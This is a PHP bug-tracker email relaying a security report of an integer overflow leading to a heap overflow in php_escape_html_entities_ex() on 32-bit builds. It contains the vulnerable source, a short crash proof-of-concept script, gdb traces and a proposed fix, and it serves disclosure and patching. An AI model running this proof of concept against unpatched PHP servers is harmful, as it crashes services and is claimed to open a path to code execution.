Sec Bug->Bug #73398 [Csd]: Heap overflow due to integer overflow in php_escape_html_entities_ex() function
| From: | stas@php.net | Date: | Mon, 13 Feb 2017 01:00:11 +0000 |
| Subject: | Sec Bug->Bug #73398 [Csd]: Heap overflow due to integer overflow in php_escape_html_entities_ex() function | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-207311@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=73398&edit=1
ID: 73398
Updated by: stas@php.net
Reported by: bughunter at fosec dot vn
Summary: Heap overflow due to integer overflow in
php_escape_html_entities_ex() function
Status: Closed
-Type: Security
+Type: Bug
Package: *General Issues
Operating System: Linux
PHP Version: 7.1Git-2016-10-27 (Git)
Assigned To: stas
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2016-11-18 04:10:57] bughunter at fosec dot vn
I have tested the test script with the newest php version today (commit
b2b63ce993f71ccb66e0cbac5715c3186a853f8c) and php still crashes. Please recheck this issue and
re-test the script which I provided.
------------------------------------------------------------------------
[2016-11-05 21:48:41] stas@php.net
The fix for this bug has been committed.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
------------------------------------------------------------------------
[2016-10-27 03:55:06] bughunter at fosec dot vn
Description:
------------
I have found some vulnerable code at php_escape_html_entities_ex() function.
php_escape_html_entities_ex() function creates a new zend_string object to store html data. The size
of destination string depends on the size of source string. ( reffer at ext/standard/html.c:1272 )
PHPAPI zend_string *php_escape_html_entities_ex(unsigned char *old, size_t oldlen, int all, int
flags, char *hint_charset, zend_bool double_encode)
{
...
/* initial estimate */
if (oldlen < 64) {
maxlen = 128;
} else {
maxlen = 2 * oldlen;
if (maxlen < oldlen) {
zend_throw_error(NULL, "Input string is too long");
return NULL;
}
}
replaced = zend_string_alloc(maxlen, 0);
...
}
If oldlen is equal to PHP_INT_MAX, maxlen will be an unexpected value and zend_string_alloc()
function will allocate a small memory range. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large html data and lead to heap
overflow. I can overwrite other objects of PHP in memory. I can leak memory to bypass ASLR + DEP and
control eip register to the arbitrary value. Finally, the overflow results as arbitrary code
execution. This bug is only triggered in 32bit machine.
Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc.
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$s = str_repeat("A", PHP_INT_MAX);
htmlentities($s, 0, "", true);
?>
Actual result:
--------------
Open php program in gdb and run test script, set a breakpoint at line in file
ext/standard/html.c:1269.
When debugger stops, we have oldlen=0x7fffffff. Because oldlen is bigger than 0x64, maxlen is equal
to twice oldlen. maxlen is equal to 0xfffffffe.
[----------------------------------registers-----------------------------------]
EAX: 0xfffffffe
EBX: 0x1
ECX: 0x10
EDX: 0x5
ESI: 0xb7814100 --> 0x2
EDI: 0xfffffffe
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826e37a (<php_escape_html_entities_ex+442>: call 0x82fc010 <_emalloc>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x826e371 <php_escape_html_entities_ex+433>: mov edi,DWORD PTR [ebp-0x34]
0x826e374 <php_escape_html_entities_ex+436>: lea ecx,[edi+0x14]
0x826e377 <php_escape_html_entities_ex+439>: and ecx,0xfffffffc
=> 0x826e37a <php_escape_html_entities_ex+442>: call 0x82fc010 <_emalloc>
0x826e37f <php_escape_html_entities_ex+447>: mov esi,eax
0x826e381 <php_escape_html_entities_ex+449>: mov DWORD PTR [eax],0x1
0x826e387 <php_escape_html_entities_ex+455>: mov DWORD PTR [eax+0x4],0x6
0x826e38e <php_escape_html_entities_ex+462>: mov DWORD PTR [eax+0x8],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>: pop ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>: add ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>: mov eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0826e37a 122 zend_string *ret = (zend_string
*)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
gdb-peda$
The size which is used as parameter in _emalloc() function is equal to ((oldlen * 2 + 0x14 ) &
0xfffffffc). Due to integer overflow, if oldlen is equal to 0x7fffffff, this size is 0x10. The new
memory region is too small to store a large string!
if we continue running, other memory region will be overwritten until SIGSEGV!
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x199fa0
ECX: 0x37599fb0 ('A' <repeats 200 times>...)
EDX: 0x3
ESI: 0x199fa1
EDI: 0xb7866050 --> 0x1
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826eaf1 (<php_escape_html_entities_ex+2353>: mov BYTE PTR [edi+ebx*1+0x10],al)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x826eae8 <php_escape_html_entities_ex+2344>: mov ebx,DWORD PTR [ebp-0x38]
0x826eaeb <php_escape_html_entities_ex+2347>: movzx eax,BYTE PTR [ecx]
0x826eaee <php_escape_html_entities_ex+2350>: mov esi,DWORD PTR [ebp-0x30]
=> 0x826eaf1 <php_escape_html_entities_ex+2353>: mov BYTE PTR [edi+ebx*1+0x10],al
0x826eaf5 <php_escape_html_entities_ex+2357>: lea eax,[ebx+0x1]
0x826eaf8 <php_escape_html_entities_ex+2360>: mov DWORD PTR [ebp-0x38],eax
0x826eafb <php_escape_html_entities_ex+2363>: jmp 0x826e810
<php_escape_html_entities_ex+1616>
0x826eb00 <php_escape_html_entities_ex+2368>: test BYTE PTR [ebp+0x14],0x2
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>: pop ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>: add ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>: mov eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0826eaf1 in php_escape_html_entities_ex (old=0x37400010 'A' <repeats 200
times>..., oldlen=0x7fffffff, all=<optimized out>, all@entry=0x1, flags=0x0,
hint_charset=0x88cce38 "",
double_encode=double_encode@entry=0x1) at /root/fuzzer/PHP-7.1/ext/standard/html.c:1378
1378 ZSTR_VAL(replaced)[len++] = mbsequence[0];
gdb-peda$
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=73398&edit=1